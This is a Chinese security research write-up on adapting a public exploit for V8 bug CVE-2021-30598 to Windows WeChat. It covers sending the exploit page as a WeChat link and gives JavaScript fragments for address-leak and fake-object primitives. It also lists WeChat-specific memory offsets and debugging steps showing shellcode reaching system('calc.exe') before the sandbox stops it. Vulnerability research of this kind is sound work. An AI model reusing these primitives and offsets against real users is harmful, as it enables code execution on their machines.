安装nodejs,在server.js同目录下创建public文件夹,node server.js跑起来(也可以使用自己熟悉的其他语言搭建服务器)

在微信里搞个连接,他会自己帮我们转成link。

v8 漏洞在 windows 微信下利用的研究

EXP分析

这个洞是cve-2021-30598 ,原exp:https://bugs.chromium.org/p/chromium/issues/attachmentText?aid=513233 经测试,该exp在v8 < 9.1.0可以使用。首先我们来复习一下V8类型混淆漏洞的利用过程(如果对V8 exp的构造过程不了解,请参考@Hcamael 大神的几篇文章

1、利用越界读获取double array map

2、利用obj array to double array构造任意变量地址读。该漏洞没有修改array map,而是通过double array覆盖obj array,原理如图所示:

v8 漏洞在 windows 微信下利用的研究

3、利用double array to obj array构造fake obj,实现任意地址读写。该漏洞同样不是通过修改array map,而是通过堆叠array的方式

v8 漏洞在 windows 微信下利用的研究

4、把ArrayBuffer的buf_backing_store地址修改为WebAssembly.Instance的buf_backing_store,因为wasm申请的内存是可读可写可执行的。原exp没有用这种方式,但是我觉得这种方式比较容易理解,所以把利用脚本改成了这种。

v8 漏洞在 windows 微信下利用的研究

下面分析一下实际环境中exp的改造过程遇到的问题,及解决方案

1、减少jit循环

在chromium下,过多的循环次数会造成崩溃,这与实验环境不同(原exp循环10万次),所以需要减少触发jit的循环次数,既不能崩溃,又要触发jit优化,经测试,leak_addr_helper、leak_array_map循环3000次,fake_obj_helper循环10000次为合理的次数。

2、地址长度

微信V8是32位的,而原exp为64位利用脚本,但是由于新版本V8地址压缩的原因,地址长度不需要修改。

3、偏移量计算

由于实验环境中可以使用%DebugPrint(),%SystemBreak()等方便的函数调试堆布局,而实际环境中没法准确的下断点,因此需要使用其他手段确定自己的堆布局是否正确。可以先在实验环境调试,初步确定堆布局是什么样的,再在要构造数据的前后布局锚点数据,以确定实际环境中自己读取的数据是否正确。

leak_array_map:

...
let arr2 = new Array(10);//[1337.5, 1338.5, 1339.5]; // arr2 is of type double too
for (var i = 0; i < 10; i++) arr2[i] = i+1337.5;
...
//v0应该是arr2最后一个元素,即1346.5
    let v0 = iter.next();

    let v1 = iter.next();
...
var res = leak_array_map(true,arr,true);
let array_map_leak = res[1];
print("anchor data = 0x" + (ftoi(res[0])).toString(16) + " | " + res[0]); //这里alert出来,应该是1346.5
print("array_map_leak = 0x" + (ftoi(res[1])).toString(16) + " | "  +res[1]);
v8 漏洞在 windows 微信下利用的研究

addrof:

...  
let arr = new Array(3+30*(1+confused));
arr[0] = 0.5; 
let arr2 = new Array(5);    for (var idx = 0; idx < 5; idx+=1) arr2[idx]={}; 
arr2[1] = obj;
arr2[0] = 0x1337; //注意这里,arr2是个obj array,每个元素(地址)长32bit,arr是个double array,读的时候每个元素长64bit,因此如果读到正确的double,其低32bit应该是0x1337(小端存储)
...
let f = leak_addr_helper(true, obj,true);
let n = ftoi(f);
let u = upper(n);
let l = lower(n);

if (l == (0x1337 << 1)) print("[*]lower data match"); //在v8里,small integer在内存里的值为实际值的两倍,因此判断的时候要乘2,即左移1位

...
v8 漏洞在 windows 微信下利用的研究

fake_obj_helper:

...
let arr = new Array(3+30*(1+confused));
arr[0] = 0; //这里有个细节,arr[0]赋值成small integer和obj对应的array map是相同的,但是的堆布局不同。smi更好构造堆布局
let arr2 = new Array(5);    for (var idx = 0; idx < 5; idx+=1) arr2[idx]=0.0; 
arr2[0] = val; //要读取地址的obj
let iter = arr[Symbol.iterator]();
iter.next();iter.next();iter.next();
iter.next();
//v0应该是arr2的长度,即5
let v0 = iter.next();
let v1 = iter.next();
...
let f = itof(pair(addr,addr));
let res = fake_obj_helper(true,f,true);
print("[*]res[0]:"+res[0]); //这里应该是5
...
v8 漏洞在 windows 微信下利用的研究

至此堆叠array读取时通过迭代器(iterator)读取偏移量已经确定,还有一个问题,怎么确定buf_backing_store_addr相对ArrayBuffer和WebAssembly.Instance基地址的偏移量,虽然在实验环境这个值可以通过%DebugPrint和读内存轻松获得,但是调试过程中发现,ubuntu 18.04下编译的v8 8.1.307.32 32位的buf_backing_store_addr偏移量和微信的实际环境中的并不相同,不能拿过来直接用。

4、buf_backing_store_addr的两个偏移量

首先确定WebAssembly.Instance的buf_backing_store_addr偏移量,因为由调试经验知,wasm_instance创建后,堆上会多一块唯一的可读可写可执行的内存,且由于堆上的内存块0x1000字节对齐,该内存块的地址是这样的:0x***000,因此只需要

① 在wasm_instance申请内存前后通过alert阻塞住进程,通过windbg的!vadump命令(约等于pwndbg的vmmap)找到那块多出来的可读可写可执行内存
② 我们已经有了任意变量地址读,和任意地址读,从wasm_instance的基地址开始,输出基地址+i*8的内存,就能找到偏移量了

...
let wasm_instance_addr = addrof(wasmInstance);
for(var i = 0;i < 20;i++){
    print("i:"+i+"  data:"+read64(wasm_instance_addr+i*8).toString(16)); //000结尾的,且和windbg里RWX那块内存地址相同的
}
...

(显然是他)

v8 漏洞在 windows 微信下利用的研究

再确定ArrayBuffer的buf_backing_store_addr偏移量,因为wasm instance的偏移量已经确定了,由调试经验知,ArrayBuffer的buf_backing_store地址以0结尾,同样循环输出,找到疑似的偏移量挨个尝试即可,如果偏移量正确,以下代码的第二个alert应该不会执行,因为偏移量正确时wasm里已经成功写入我们的shellcode了,执行的是我们的shellcode;而偏移量不正确时wasm里是空的,f()会直接返回,什么都不发生,第二句alert成功执行

alert("[*] 写代码成功"+rwx_page.toString(16));
f();
alert("[*]执行完毕")

最后给出我调试的结论:

在微信最新版

ArrayBuffer的buf_backing_store_addr偏移量为:base_addr+0x10

WebAssembly.Instance的buf_backing_store_addr偏移量为:base_addr+0x40

5、怎么确定代码流被控制到我们的shellcode了

经过以上4步,理论上我们的shellcode应该已经执行了,但是实际环境中,并没有弹出计算器,那么怎么确定我们的shellcode是否成功执行了呢?经过上述的一顿操作,我们已经能够知道可读可写可执行的内存地址是什么,这时就能通过windbg来调试我们的代码了,以下是我的调试过程:

①在代码执行前alert一下,卡住进程

v8 漏洞在 windows 微信下利用的研究

②windbg attach进程

v8 漏洞在 windows 微信下利用的研究 v8 漏洞在 windows 微信下利用的研究 v8 漏洞在 windows 微信下利用的研究

③内存下断点,放过后点击弹窗,让进程继续运行

v8 漏洞在 windows 微信下利用的研究 v8 漏洞在 windows 微信下利用的研究

断在了我们写入的内存:

v8 漏洞在 windows 微信下利用的研究

④因为shellcode是执行了system(“calc.exe”);,在msvcrt.dll!system 的入口处下断点,继续跑起来

v8 漏洞在 windows 微信下利用的研究

断下了:

v8 漏洞在 windows 微信下利用的研究

kb命令看下参数:

v8 漏洞在 windows 微信下利用的研究 v8 漏洞在 windows 微信下利用的研究

入参设置没问题,pt跑到函数返回:

v8 漏洞在 windows 微信下利用的研究

很可惜,system函数返回-1,代表执行失败了,多次更换姿势后推测是存在沙箱,需要借助一个穿沙箱的洞才能构造完整的利用链

结论

我们已经能够控制代码执行流到我们的shellcode,但是由于chromium的沙箱限制(看现象推测是沙箱,没研究过沙箱具体实现所以不能确定,如有错误请指正),并不能弹出计算器,如果要构造完整的利用链还需要绕过windows的沙箱机制(chromium的沙箱用了windows的沙箱),但是本文作者发现有些使用V8引擎的应用是没有沙箱限制的,可以直接实现无沙箱的远程代码执行,本文提供了实际环境中调试这种应用的思路。

广告:https://github.com/lxraa/v8_exp 放一些已公开v8 poc的exp

原文始发于Seebug(lxraa@识链实验室):v8 漏洞在 windows 微信下利用的研究

版权声明:admin 发表于 2022年3月16日 下午6:32。
转载请注明:v8 漏洞在 windows 微信下利用的研究 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...